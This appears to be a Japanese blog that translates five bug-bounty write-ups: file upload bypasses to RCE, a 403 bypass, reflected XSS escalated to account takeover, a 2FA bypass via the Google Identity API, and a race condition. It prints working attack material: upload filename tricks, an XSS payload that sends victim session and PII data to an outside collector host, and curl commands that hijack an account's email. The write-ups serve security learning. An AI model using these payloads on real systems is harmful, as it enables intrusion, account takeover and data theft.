Shikata Ga Nai

Private? There is no such things.

File Upload Bypass to RCE == $$$$を訳してみた

Hello there, ('ω')ノ

 

RCE へのファイル アップロード バイパスを。

 

脆弱性:

 無制限のファイルアップロード

 RCE

 

記事:

 https://sagarsajeev.medium.com/file-upload-bypass-to-rce-76991b47ad8f

 

今回は、ターゲットのファイル アップロード機能をバイパスして。

RCE にチェーンする方法を。

今回は、3つのバイパス シナリオすべてについて。

 

シナリオ #1:

拡張子が .php のペイロードは許可されておらず。

ペイロードの名前を「payload.php」から「payload.pHp5」に変更して。

拡張子をランダムな大文字と小文字に変更すると、バイパスされて。

ただし、このようなペイロードは、ターゲットにクライアント側の。

検証のみがある場合にのみ機能することに注意して。

そのため、ペイロードがフロントエンドを通過することがありますが。

IDS またはバックエンド ファイアウォールによってブロックされているため。

コールバックを取得できない場合があって。

 

シナリオ #2:

拡張子が .php のペイロードは許可されず。

ペイロードの名前を「payload.php」から「payload.php\x00.png」に変更して。

 \x00.png を末尾に追加すると、制限 (Null Byte) が回避され。

右クリック→新しいタブで画像を表示すると、スクリプトがトリガされて。

 

ノート:

場合によっては .inc 、 .phps 、 .phtml も使用できて。

これを使用する場合は、それに応じて content-Type を変更してするように。

 

追伸:

保存された XSS もここで可能で。

 

シナリオ #3:

今回は、有効なバイパスを見つけるのに時間がかかって。

彼らは、画像のみを許可するという厳格なルールを設定していて。

データが実際に画像であるかどうかを対象の Web アプリが。

どのように検証しているかを理解できず。

しかし、多くの調査の結果、ペイロードのマジック バイトをチェックして。

検証していることがわかって。

 

アプリケーションは、最初の署名バイトに基づいてファイルの種類を。

識別することがあり。

ファイルにそれらを追加/置換するとアプリケーションがだまされる可能性があり。

 

マジックバイトは、ファイルを認識するために使用されるファイルの。

最初の数バイトに他ならず。

ファイルを開いた場合は表示されないので、ファイルのマジック バイトを。

表示するには、特別な 16 進エディタが必要で。

 

Linux を使用しているので、組み込みの 16 進エディタと xxd を使用して。

マジック バイトを表示および編集でき。

ただし、任意の 16 進エディタを使用して同じ結果を得ることができて。

 

 また、バックエンドが特定のキーワードをフィルタリングして。

削除することもわかって。

たとえば、「.php」という用語を削除するとしたら。

ファイルの名前を「payload.p.phphp」に変更すると。

フィルタが「.php」を削除して、ファイル名は「payload.php」になって。

この段階でファイアウォールはバイパスされているため、スクリプトが実行されて。

下記のビデオの1つがこれに役立って。

 

https://www.youtube.com/c/JohnHammond010

 

1.89 50 4e 47 0d 0a 1a 0apng ファイルのマジックバイト

2.echo “89 50 4e 47 0d 0a 1a 0a” | xxd -p -r >> payload.p.phphp

3.スクリプトをアップロードして、本格的な RCE を入手して。

 


マジック バイトを含む png ファイルを作成するには。

0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A で始まるファイルを作成することだけで。

 

「xxd」は、ファイルや標準入力から受け取った内容を16進数、または。

2進数でダンプするコマンドで。

さらに16進ダンプから元のデータに復元できて。

 

Best regards, (^^ゞ

403 Forbidden Bypass Leading to Admin Endpoint Access.を訳してみた

Hello there, ('ω')ノ

 

管理者エンドポイント アクセスにつながる 403 禁止されたバイパスを。

 

脆弱性:

 403バイパス

 情報漏えい

 

記事:

 https://medium.com/@G0ds0nXY/403-forbidden-bypass-leading-to-admin-endpoint-access-b696a36665ed

 

今回は、 API で 403 Forbidden エンドポイントをバイパスする方法について。

プライベートプログラムで、サブドメインをファジングした後に。

いくつかのサブサブドメインを見つけ、admin.redacted.com が目に留まり。

redacted.comにアクセスしようとすると、403 Forbidden の応答が返ってきて。

 

サブドメインに興味を持ち、FFUF ツールを再帰モードに設定して。

ファジングを開始すると空のディレクトリがいくつか見つかり。

403禁止を取得して。

 

 https://admin.redacted.com/cpanel/view-credentials/

 

403 を迂回したいと思ったので。

Python ツール [byp4xx] と bash ツール [bypass-403] を使用しようとしましたが。

成功せず。

URLの大文字化、X-Forwarded-IP、ユーザーエージェントの変更など。

他のさまざまなトリックを試して。

この時点で、エンドポイントで時間を無駄にしているだけだと感じましたが。

いくつかの非表示のパラメータを検索することに。

 

エンドポイントで param-miner を起動すると。

数分以内にパラメータ [userId] が見つかりましたが、userId はなく。

[userId] の値もわからず。

 

しばらく考えた後、ツール [waybackurls] を使用することにして。

Wayback Machine から admin.redacted.com のすべての URL を取得して。

非常に多くの URL があったため、すべてを手動で確認することはできず。

[“?userId=”] を grep したところ、いくつかの URL が userId をを見つけたので。

userId を送信する [POST] リクエストを作成しましたが、404 エラーが発生して。

パラメータをGETリクエストとして使用しても、まだ403禁止されて。

 

 

この時点であきらめて先に進むつもりでしたが、何気なく送信し。

API がリピータタブからのリクエストにどのように応答しているかを観察して。

同じエンドポイントに GET リクエストを送信すると200 OK を受け取ったので。

200 OK を取得した方法と理由を調べるために GET リクエストを再送信しましたが。

今回は 403 Forbidden を受け取ったので。

Burp Suiteのリクエストログを調べることに。

 

すべてのリクエストを注意深くチェックしましたが。

サーバが200 OKを返した理由を確認または見つけることができず。

12 回の無許可のリクエストが 403 Forbidden になって。

次の 4 回のリクエストで 200 OK が返され、承認がバイパスされて。

 

 

Best regards, (^^ゞ

Defeat the HttpOnly flag to achieve Account Takeover | RXSSを訳してみた

Hello there, ('ω')ノ

 

アカウントの乗っ取りを達成するために HttpOnly フラグを無効にするを。

 

脆弱性:

 反射型XSS

 アカウント乗っ取り

 

記事:

 https://medium.com/@mohamedtarekq/defeat-the-httponly-flag-to-achieve-account-takeover-rxss-c16849d3d192

 

今回は、反射型 XSS 脆弱性を介してアカウント乗っ取りを達成するために。

HttpOnly フラグが設定されている場合に被害者のセッションを。

取得する方法について説明することに。

 

プログラムは非公開だったので、target.com と呼ぶことに。

まず、どのようにして XSS を見つけたかを。

メールアドレスの変更機能をテストしていましたが、メールアドレスを変更すると。

次のような URL にリダイレクトされて。

 

    https://xyz-target.com/authn/email/needverification?e=dGltb29vbkBidWdjcm93ZG5pbmphLmNvbQ==

 

 

URL に base64 パラメータ (e) があることに気付いたので、それをデコードすると。

ページに反映されているのは私の新しいメールであることがわかって。

そこで、base64 パラメータ (e) の値を XSS ペイロードに変更し。

base64 でエンコードすることにして。

 

 

したがって、下記へアクセスするとCookie でアラートが発生して。

 

https://xyz-target.com/authn/email/needverification?e=PGltZy9zcmMvb25lcnJvcj1hbGVydChkb2N1bWVudC5jb29raWUpPg==

 

 

残念ながら、セッションには HttpOnly フラグが設定されているため。

Java Scriptを介して取得できず。

これまでのところ、重大度が P3 の脆弱性であることはわかっていますが。

通常、JS コードを実行できる場合はここで終わりではなく。

そこで、この脆弱性を ATO にエスカレートし、機密データや CSRF トークンを。

盗むなどの調査をさらに進めて。


アカウント乗っ取りの実現:

最初に行ったことは、ソース コードと JS ファイルを分析して。

ApiKey、シークレット トークン、CSRF トークンなどを探すことで。

 

次に、LocalStorage に機密データが保存されているかどうかを確認しましたが。

残念ながら重要なものは見つからず。

Burp Suiteを起動して、機密データまたはユーザのセッションを。

返すエンドポイントを探して。

そして、ユーザのセッションを含むユーザの PII 情報を返す興味深いものを。

見つけて。

このエンドポイントは、次の URL のようになり。

 

 https://api.target.com/home/v1/UserPersonalization/mymodules?more=true

 

 

これで、fetch メソッドを使用してこのエンドポイントにリクエストを送信し。

PII 情報に加えて被害者のセッションを盗むことができて。

被害者の Cookie をリクエストとともに送信する fetch メソッドの。

credentials: 'include' 属性に感謝して。


取得リクエスト:

 

fetch('https://api.target.com/home/v1/UserPersonalization/mymodules?more=true', {
    method: 'get',
    credentials: 'include',
    headers: {
    'Content-Type': 'application/json'
    }
}).then(response => response.text());

 

今まで、応答の内容を持っていて。

実際、それは大きな応答で。

このデータを攻撃者のサーバに送信する必要があるので。

このデータをサーバに送信するために使用した方法は。

POST XMLHttpRequest を使用することで。

 

攻撃者のサーバーにデータを送信:

 

.then(data => {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://timooon.free.beeceptor.com/data');
    xhr.send(data);
});

 

最終的なペイロードは次のようになり。

 

<img src onerror="fetch('https://api.target.com/home/v1/UserPersonalization/mymodules?more=true', {
    method: 'get',
    credentials: 'include',
    headers: {
        'Content-Type': 'application/json'
    }
}).then(response => response.text()).then(data => {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://timooon.free.beeceptor.com/data');
    xhr.send(data);
});">

 

最終的なペイロードを base64 にエンコードし、リンクを被害者に配信して。

 

https://xyz-target.com.com/authn/email/needverification?e=PGltZyBzcmMgb25lcnJvcj0iZmV0Y2goJ2h0dHBzOi8vYXBpLnRhcmdldC5jb20vaG9tZS92MS9Vc2VyUGVyc29uYWxpemF0aW9uL215bW9kdWxlcz9tb3JlPXRydWUnLCB7CiAgICBtZXRob2Q6ICdnZXQnLAogICAgY3JlZGVudGlhbHM6ICdpbmNsdWRlJywKICAgIGhlYWRlcnM6IHsKICAgICAgICAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nCiAgICB9Cn0pLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKS50aGVuKGRhdGEgPT4gewogICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgeGhyLm9wZW4oJ1BPU1QnLCAnaHR0cHM6Ly90aW1vb29uLmZyZWUuYmVlY2VwdG9yLmNvbS9kYXRhJyk7CiAgICB4aHIuc2VuZChkYXRhKTsKfSk7Ij4=

 

 

そして、被害者のセッションと PII 情報を含む応答がサーバに送信されて。

 

Best regards, (^^ゞ

2FA Bypass via Google Identity & OAuth Loginを訳してみた

Hello there, ('ω')ノ

 

Google ID と OAuth ログインによる 2FA バイパスを。

 

脆弱性:

 2FA バイパス

 アカウント乗っ取り

 

記事:

 https://medium.com/@sharp488/2fa-bypass-via-google-identity-oauth-login-6c991ac837af

 

今回は、プライベート プログラムで見つけた別の 2FA バイパスに関するもので。

アプリケーションは、認証にサードパーティのサービスを使用していて。

この場合は、Identity Platform と呼ばれる Google Cloud Platform サービスで。

認証後、アプリケーションはユーザーを 2FA 検証ページにリダイレクトして。

以下に示す curl コマンドを使用すると、攻撃者は 2FA 対応アカウントの。

ID トークンを取得できて。

 

IDトークンを取得:

curl ‘https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=AIzaSr5kAE4GhcjsiwkNSks7sKSNbajsHn-SDk8' \
-H ‘Content-Type: application/json’ \
--data-binary ‘{“email”:”victim@wearehackerone.com”,”password”:”pass@1234",”returnSecureToken”:true}’

 

 

攻撃者がトークンを取得すると、被害者のアカウントの電子メールを。

攻撃者の電子メール ID に更新できて。

攻撃者は、2FA をバイパスするために使用される Gmail ID でそれを更新して。

 

メールの更新:

curl ‘https://identitytoolkit.googleapis.com/v1/accounts:update?key=AIzaSr5kAE4GhcjsiwkNSks7sKSNbajsHn-SDk8' \

-H ‘Content-Type: application/json’ \

--data-binary \

‘{“idToken”:”eyJhbGciOiJSUzI1NiIsImtpZCI6IjA2M2E3Y2E0M2MzYzc2MDM2NzRlZGE0YmU5NzcyNWI3M2QwZGMwMWYiLCJ0eXAiOiJKV1.eyJyTRHsasdhasdjhsakdhaksjdaskjdsakdnkkcnm-wqe7qw909231kjSAHYnAjdlkjlksajdAHkhjbbqjksapOkJlkjqwejqwlknebnasdbasdbksagdjhvqwjkeqwgufebsadkjbsakajshd7qw86wqdehjkwqt521kKLWSJDLAjdja;sdjas;dj;sajdlasjd;kajsd.DbRLQU1bhwWOMQ9e-6IPb4VJmMMLdepYxP85OwQ5jX9PGw200Wl7GypNvDSXWqK0ArdcoQnLfOB-q00u03R1GGjalFgkAJSRdX9yQDZThwUKKXPQRvJBcKTuYpMesXY5UlI-m0UfOP-RjWWFi_TVvbFDmC9kuhutQ3_FmJs7HUq0Rj0TzagjrHBuXf9zDCoxvoIoyKjee9RvtPcrPUK8o1xs8hs7SNX9ioKoe4VLeAFVTEn8YiAQS-VqnnCe64yPjhV4sAvuJ1uDGA-_z-IMRJO9aJ7f0jTmU-WNzIRwQlTEgCOeWONkwHe-qJSX2Ph1z9QQRyEsoaDLgIuOw9lciw”,”email”:”attacker@gmail.com”,”returnSecureToken”:true}’

 

電子メール ID を更新した後、攻撃者は、アプリケーションが。

提供する代替ログイン方法である Google OAuth オプションを認証に使用して。

攻撃者は「attacker@gmail.com」とそのパスワードを使用してログインし。

被害者のアカウントへのフル アクセスを許可するので。

2FA 実装は正常にバイパスされて。

 

攻撃者は被害者のアカウントに完全にアクセスできるため。

深刻度の高いバグとしてトリアージされて。

 

Best regards, (^^ゞ

How i was able to get 29 free products. | Bug Bountyを訳してみた

Hello there, ('ω')ノ

 

29個の無料製品を入手できた方法を。

 

脆弱性:

 レースコンディション(競合状態)

 

記事:

 https://infosecwriteups.com/how-i-was-able-to-get-29-free-products-bug-bounty-845667ab4ad4

 

レースコンディション(競合状態)とは、2 つ以上のスレッドが。

共有データにアクセスでき、同時にそのデータを変更しようとすると発生して。

理論的なことを理解するのに苦労している場合は、例を挙げると。

ユーザが銀行口座 A と B を持っているとすると。

A と B の両方に 500 ドルの金額があり。

下記は、https://www.baeldung.comのイメージで。

 

 

ご覧のとおり、A から B に 2 回、300 ドルを送金して、問題はなく。

ただし、これら 2 つの転送が同時に実行されると、問題が発生する可能性があって。

下記は、https://www.baeldung.comのイメージで。

 

 

競合状態に遭遇し、A から B に 600 ドルを送金すると。

銀行口座 A は最初に 300 ドルを受け取って。

 

ということで、対象企業はドリンクのマーケットプレイスで。

月々のサブスクリプションがあって。

サービスに加入すると、毎月無料サンプルがもらて。

製品はプロフィールに表示され、バスケットに追加でき。

クリックしてバスケットを追加し、何ができるかを確認するために。

リクエストをキャプチャして。

下記が、依頼の一例で。

 

 

そのため、ID を確認してすぐに IDOR を試しましたが、IDOR はなく。

それで数量を変更しようと思って。

つまり、これはサンプルで無料なので、数量は 10 ~ 15 で、価格は 0 のままで。

数量を 3 に変更してリクエストを送信しましたが、これも拒否されて。

.そこで、競合状態を試してみない理由を説明し。

リクエストを Turbo Intruder に送信し、200 をすべて見て応答を調べたところ。

競合状態があることがわかって。

競合状態のバグは簡単に悪用でき、非常に影響力があって。

 

Best regards, (^^ゞ